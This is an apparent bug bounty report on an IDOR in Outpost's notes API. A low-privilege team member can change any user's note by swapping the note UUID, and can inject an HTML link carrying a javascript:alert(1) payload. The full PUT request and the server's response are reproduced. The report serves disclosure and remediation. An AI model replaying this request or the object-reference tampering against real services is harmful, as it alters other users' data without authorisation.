IDOR on notes to HTML injection
Medium
P
Palo Alto Software
Submitted None
Actions:
Reported by
ph-hitachi
Vulnerability Details
Technical details and impact analysis
## Summary:
Team member with role USER can change notes of any users and also we able to inject some html tags
## Steps To Reproduce:
1. Login in with role `owner` create `note`
1. login team member with role `users`
1. add `note` and capture with `burp suite` and change the uuid of `notes``
```
PUT /api/v1/note/b9db186a-c0af-462d-ad71-c30c2bfd7cf5 HTTP/1.1
Host: api.outpost.co
Connection: close
Content-Length: 102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Accept: */*
Origin: https://app.outpost.co
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://app.outpost.co/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8,th;q=0.7
Cookie: <authentacation_cookies>
{"body":"<h1><a href=\"javascript:alert(1)\">This is a test</a></h1>","mentionUuids":[]}
```
### Response:
```json
{
"body": "<h1><a href=\"j&#97v&#97script:&#97lert%281%29\" rel=\"nofollow\">This is a test</a></h1>",
"uuid": "b9db186a-c0af-462d-ad71-c30c2bfd7cf5",
"conversationUuid": "78a8df65-aaa0-4384-9dfe-ab6120f3737f",
"createdBy": {
"uuid": "b065722c-09b4-45f2-8ee3-4a4a8a92080f",
"displayName": "justin",
"firstName": "justin",
"lastName": "lee",
"isDeleted": false,
"gravatarHash": "630369207d5b093d4d57dcda07d6c22f",
"avatarColor": "ORANGE"
},
"modifiedBy": {
"uuid": "7d2f671b-ed97-4a2b-8bb3-8d7538e73e34",
"displayName": "Attacker",
"firstName": "Attacker",
"lastName": "1",
"isDeleted": false,
"gravatarHash": "f33c9e2461140f5fd594a1870dfdf980",
"avatarColor": "PURPLE"
},
"createdDate": 1593549551704,
"modifiedDate": 1593719773232,
"status": "DEFAULT"
}
```
{F891966}
## Impact
using this the user can edit any note of member or inject some malicious html content
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Insecure Direct Object Reference (IDOR)